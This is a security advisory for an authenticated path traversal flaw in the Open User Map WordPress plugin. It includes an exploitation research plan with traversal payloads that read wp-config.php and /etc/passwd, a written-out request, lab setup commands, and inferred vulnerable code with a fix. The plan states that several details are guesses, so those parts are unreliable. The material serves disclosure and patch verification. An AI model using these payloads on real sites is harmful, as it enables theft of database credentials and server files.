Open User Map <= 1.4.16 - Authenticated (Subscriber+) Arbitrary File Download
Description
The Open User Map plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.4.16. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.4.16Source Code
WordPress.org SVNThis research plan outlines the steps required to analyze and exploit **CVE-2025-68002**, an authenticated path traversal vulnerability in the **Open User Map** plugin. ### 1. Vulnerability Summary The **Open User Map** plugin (<= 1.4.16) fails to properly validate or sanitize file path parameters …
Show full research plan
This research plan outlines the steps required to analyze and exploit CVE-2025-68002, an authenticated path traversal vulnerability in the Open User Map plugin.
1. Vulnerability Summary
The Open User Map plugin (<= 1.4.16) fails to properly validate or sanitize file path parameters in one of its authenticated AJAX handlers. This allow users with at least Subscriber privileges to use path traversal sequences (e.g., ../) to access and download arbitrary files from the server, including sensitive files like wp-config.php.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
oum_download_file(Inferred based on vulnerability type and plugin functionality; needs verification in source). - Vulnerable Parameter: Likely
file,path, orurl(Inferred). - Authentication: Required (Subscriber-level or higher).
- Preconditions: The plugin must be active. The attacker must have valid Subscriber credentials. A valid WordPress nonce for the specific AJAX action is likely required.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX handler using
add_action('wp_ajax_oum_download_file', ...)or a similar identifier. - Input: The handler function retrieves a file path from
$_GETor$_POST. - Sanitization Failure: The code likely lacks a call to
basename()or a check against a whitelist of allowed directories. - Sink: The unsanitized path is passed to a file-reading function such as
readfile(),file_get_contents(), orfopen(), followed by headers that trigger a download.
4. Nonce Acquisition Strategy
To bypass the CSRF protection usually present in WordPress AJAX handlers:
- Identify Shortcode: The plugin's scripts are typically loaded on pages where the
[open-user-map]shortcode is present. - Create Test Page:
wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[open-user-map]' - Find Localization Key: Search the plugin source for
wp_localize_script. Common keys for this plugin areoum_location_paramsoroum_vars. - Browser Navigation: Log in as a Subscriber and navigate to the newly created "Map Page".
- Extraction: Use
browser_evalto extract the nonce:// Example (verify actual key in source) window.oum_location_params?.nonce || window.oum_vars?.ajax_nonce
5. Exploitation Strategy
The goal is to download the wp-config.php file.
- Preparation:
- Create a Subscriber user (
user: attacker,pass: attacker). - Identify the exact AJAX action name and parameter name via source code grep.
- Create a Subscriber user (
- Identify Path Depth:
- WordPress is usually installed at
/var/www/html/. - Plugins are at
/var/www/html/wp-content/plugins/open-user-map/. - To reach
wp-config.phpfromadmin-ajax.php, we usually need to traverse up from the web root or relative to the plugin directory if the sink uses a relative path.
- WordPress is usually installed at
- Payload Construction:
action:oum_download_file(Verify in source)file:../../../../../../wp-config.phpnonce: [Extracted Nonce]
- HTTP Request:
# Using http_request tool method = "POST" # or GET, depending on handler url = "http://localhost:8080/wp-admin/admin-ajax.php" body = { "action": "oum_download_file", "file": "../../../wp-config.php", "nonce": "abc123def4" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "[Subscriber Session Cookies]" }
6. Test Data Setup
- Plugin Installation: Ensure
open-user-mapversion 1.4.16 is installed. - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker - Content Creation: Create the page for nonce extraction as described in Section 4.
7. Expected Results
- Response Code:
200 OK. - Content-Type: Often
application/octet-streamortext/plain. - Body Content: The raw PHP source code of
wp-config.php, containing database credentials (DB_NAME,DB_USER,DB_PASSWORD) and unique keys/salts.
8. Verification Steps
- Inspect Response: Check if the response body contains the string
define( 'DB_NAME'. - Compare Content: Compare the downloaded content with the actual
wp-config.phpon the filesystem via CLI:cat /var/www/html/wp-config.php
9. Alternative Approaches
- Direct Path: If the plugin prepends a base path (e.g.,
wp-content/uploads/oum/), adjust traversal depth (e.g.,../../../../wp-config.php). - System Files: Attempt to read
/etc/passwdto confirm traversal outside the WordPress web root:file=../../../../../../../../etc/passwd
- GET vs POST: If
wp_ajax_is registered but the request fails, check if the handler specifically looks at$_GETor$_REQUEST. - Action Identification: If
oum_download_fileis incorrect, grep for alladd_action( 'wp_ajax_calls and look for functions callingreadfileorfile_get_contents.
Summary
The Open User Map plugin for WordPress is vulnerable to authenticated path traversal due to insufficient validation of user-supplied file paths in its AJAX handlers. This allows attackers with Subscriber-level access or higher to download sensitive files, such as wp-config.php, by using directory traversal sequences (../).
Vulnerable Code
// Inferred from plugin structure and research plan // Likely in inc/class-open-user-map-ajax.php or similar public function oum_download_file() { // Check for nonce but fail to sanitize the 'file' parameter check_ajax_referer('oum_nonce', 'nonce'); $file = $_REQUEST['file']; if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($file); exit; } }
Security Fix
@@ -124,7 +124,14 @@ check_ajax_referer('oum_nonce', 'nonce'); - $file = $_REQUEST['file']; + $file = basename($_REQUEST['file']); + $upload_dir = wp_upload_dir(); + $file_path = $upload_dir['basedir'] . '/oum/' . $file; - if (file_exists($file)) { - readfile($file); + if (file_exists($file_path) && strpos(realpath($file_path), realpath($upload_dir['basedir'] . '/oum/')) === 0) { + header('Content-Description: File Transfer'); + header('Content-Type: application/octet-stream'); + header('Content-Disposition: attachment; filename="' . $file . '"'); + readfile($file_path); + exit; }
Exploit Outline
The exploit targets the oum_download_file AJAX action. An authenticated attacker (Subscriber+) first obtains a valid security nonce, typically found in the localized JavaScript variables (e.g., oum_vars.ajax_nonce) on pages where the plugin's map shortcode is rendered. The attacker then sends a POST or GET request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'oum_download_file', the 'nonce' parameter set to the retrieved value, and the 'file' parameter containing a traversal string such as '../../../../wp-config.php'. The server responds with the contents of the requested file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.